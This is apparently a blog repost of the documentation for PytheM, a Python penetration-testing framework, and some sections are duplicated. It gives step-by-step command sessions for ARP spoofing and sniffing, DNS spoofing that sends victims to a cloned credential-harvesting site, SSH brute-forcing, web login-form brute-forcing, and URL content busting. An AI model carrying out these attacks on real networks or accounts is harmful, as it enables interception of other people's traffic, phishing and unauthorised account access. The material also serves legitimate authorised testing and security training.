Python Pentesting Framework: PytheM

Posted on Posted in Tools

PytheM is a python pentesting framework. Same has been developed in the hope that it will be useful and works only osnGNU/Linux OS.

Installation


  • $sudo apt-get update
  • $sudo apt-get install libasound-dev libjack-jackd2-dev portaudio19-dev python-pyaudio build-essential python-dev libnetfilter-queue-dev libespeak1 libffi-dev libssl-dev
  • $sudo git clone https://github.com/m4n3dw0lf/PytheM/
  • $cd PytheM
  • $sudo pip install -r requirements.txt

Now you are ready to rock:

  • $sudo ./pythem

Examples


ARP spoofing – Man-in-the-middle HTTP
  • commands:
pythem> set interface
[+] Enter the interface: wlan0
pythem> set gateway
[+] Enter the gateway: 192.168.1.1
pythem> arpspoof start
[+] Setting the packet forwarding.
[+] Iptables redefined.
[+] ARP spoofing initialized.
pythem> sniff
[+] Enter the filter: http

 

ARP+DNS spoof – fake page redirect to credential harvester
  • use SET or any other site cloner to clone the site of your choice and host in the apache2
  • commands:
pythem> set target [+] Enter the target(s): 192.168.0.8 pythem> set interface wlan0 pythem> set gateway 192.168.0.1 pythem> arpspoof start [+] Setting the packet forwarding. [+] Iptables redefined. [+] ARP spoofing initialized. pythem> dnsspoof start [+] Domain to be spoofed: www.google.com [+] IP address to be redirected: 192.168.0.6 [+] DNS spoofing initialized. pythem> sniff dns

 SSH Brute-Force attack

  • commands:
pythem> service ssh start
pythem> set target 
[+] Enter the target(s): 127.0.0.1
pythem> set file wordlist.txt
pythem> brute-force ssh
[+] Enter the username to bruteforce: anon123

 

Web page formulary brute-force
  • First get the source of the web page formulary and get the id= value of the login and password.
  • Show the redirect results of the attempt so if goes to a different page may have worked.
  • commands:

pythem> set target http://127.0.0.1/ pythem> set file [+] Enter the path to the file: wordlist.txt pythem> brute-force webform [+] Brute-Form authentication initialized. [+] Enter the input id of the username box: vSIS_ID [+] Enter the input id of the password box: vSIS_PASS [+] Enter the username to brute-force the formulary: root

 

URL content buster
  • commands:
pythem> set target [+] Enter the target(s): http://testphp.vulnweb.com/index.php?id= pythem> set file 1to100.txt pythem> brute-force url [+] Content URL bruter initialized.

 

Features


[ PytheM – Penetration Testing Framework v0.3.2 ]

  • help:

    Print this help message.

  • exit/quit:

    Leave the program.

  • set:

    Set a variable value.Parameters:

    • interface
    • gateway
    • target
    • file
    • arpmodeExamples:
      pythem> set interface | open input to set
      or
      
      pythem> set interface wlan0 | don't open input to set value
  • print:

    Print variable value.Example:

    pythem> print gateway
  • scan:

    Make a tcp/manualport/arp scan.
    (Should be called after setting interface and target)Examples:

    pythem> scan

    or

    pythem> scan tcp
  • arpspoof:

    Start or stop a arpspoofing attack. (Optional setting arpmode to select arpspoofing mode should be filled with rep or req) (rep to spoof responses, req to spoof requests)Arguments:

    • start
    • stopExamples:
      arpspoof start
      arpspoof stop
  • dnsspoof:

    Start a dnsspoofing attack. (Should be called after a arpspoofing attack have been started)Examples:

    pythem> dnsspoof start
    pythem> dnsspoof stop
  • sniff:

    Start sniffing packets. (Should be called after setting interface)Examples:

    pythem> sniff http

    or

    pythem> sniff

    [+] Enter the filter: port 1337 and host 10.0.1.5 | tcpdump like format or http,dns specific filter.

  • pforensic:

    Start a packet-analyzer (Should be called after setting interface and file with a .pcap file)Examples:

    pythem> pforensic
    pforensic> help
  • brute-force:

    Start a brute-force attack. (Should be called after setting target and wordlist file path)Arguments:

    • ssh | ip address as target
    • url | url (with http:// or https://) as target
    • webform | url (with http:// or https://)as targetExamples:
      pythem> brute-force webform
      pythem> brute-force ssh
  • geoip:

    Geolocalizate approximately the location of a IP address.  (Should be called after setting target (Ip address))Examples:

    pythem> geoip

    or

    pythem> geoip 8.8.8.8
  • decode and encode:

    Decode or encode a string with choosen patternExamples:

    pythem> decode base64
    pythem> encode ascii
  • cookiedecode:

    Decode a base64 url encoded cookie value.Example:

    pythem> cookiedecode
  • Anything else will be executed in the terminal like cd, ls, nano, cat, etc.

 

Jarvis – voice-controlled assistant

Web page formulary brute-force

First get the source of the web page formulary and get the id= value of the login and password.
Show the redirect results of the attempt so if goes to a different page may have worked.
commands:
  pythem> set target http://127.0.0.1/
  pythem> set file
  [+] Enter the path to the file: wordlist.txt
  pythem> brute-force webform
  [+] Brute-Form authentication initialized.

  [+] Enter the input id of the username box: vSIS_ID
  [+] Enter the input id of the password box: vSIS_PASS
  [+] Enter the username to brute-force the formulary: root
 

URL content buster

commands:
  pythem> set target
  [+] Enter the target(s): http://testphp.vulnweb.com/index.php?id=
  pythem> set file 1to100.txt
  pythem> brute-force url
  [+] Content URL bruter initialized.
 

Features
[ PytheM – Penetration Testing Framework v0.3.2 ]

help:

Print this help message.

exit/quit:

Leave the program.

set:

Set a variable value.Parameters:

interface
gateway
target
file
arpmodeExamples:
pythem> set interface | open input to set
or

pythem> set interface wlan0 | don't open input to set value
print:

Print variable value.Example:

 pythem> print gateway
scan:

Make a tcp/manualport/arp scan.
(Should be called after setting interface and target)Examples:

pythem> scan
or

pythem> scan tcp
arpspoof:

Start or stop a arpspoofing attack. (Optional setting arpmode to select arpspoofing mode should be filled with rep or req) (rep to spoof responses, req to spoof requests)Arguments:

start
stopExamples:
arpspoof start
arpspoof stop
dnsspoof:

Start a dnsspoofing attack. (Should be called after a arpspoofing attack have been started)Examples:

pythem> dnsspoof start
pythem> dnsspoof stop
sniff:

Start sniffing packets. (Should be called after setting interface)Examples:

pythem> sniff http
or

pythem> sniff
[+] Enter the filter: port 1337 and host 10.0.1.5 | tcpdump like format or http,dns specific filter.

pforensic:

Start a packet-analyzer (Should be called after setting interface and file with a .pcap file)Examples:

pythem> pforensic
pforensic> help
brute-force:

Start a brute-force attack. (Should be called after setting target and wordlist file path)Arguments:

ssh | ip address as target
url | url (with http:// or https://) as target
webform | url (with http:// or https://)as targetExamples:
pythem> brute-force webform
pythem> brute-force ssh
geoip:

Geolocalizate approximately the location of a IP address.  (Should be called after setting target (Ip address))Examples:

pythem> geoip
or

pythem> geoip 8.8.8.8
decode and encode:

Decode or encode a string with choosen patternExamples:

pythem> decode base64
pythem> encode ascii
cookiedecode:

Decode a base64 url encoded cookie value.Example:

pythem> cookiedecode
Anything else will be executed in the terminal like cd, ls, nano, cat, etc.
 

Jarvis – voice-controlled assistant

[*] jarvis

type jarvis-help to see the jarvis help page.

  examples:

   pythem> jarvis     (Call Jarvis in speech recognition mode)
   pythem> jarvis-help    (Print Jarvis help message)
   pythem> jarvis-log     (Check Jarvis log)
   pythem> jarvis-log err
   pythem> jarvis-say     (Ask Jarvis to say something)
   pythem> jarvis-say hello my name is jarvis.
   pythem> jarvis-read    (If no file specified, should be called after setting file)
   pythem> jarvis-read file.txt

 

 

Facebooktwittergoogle_plus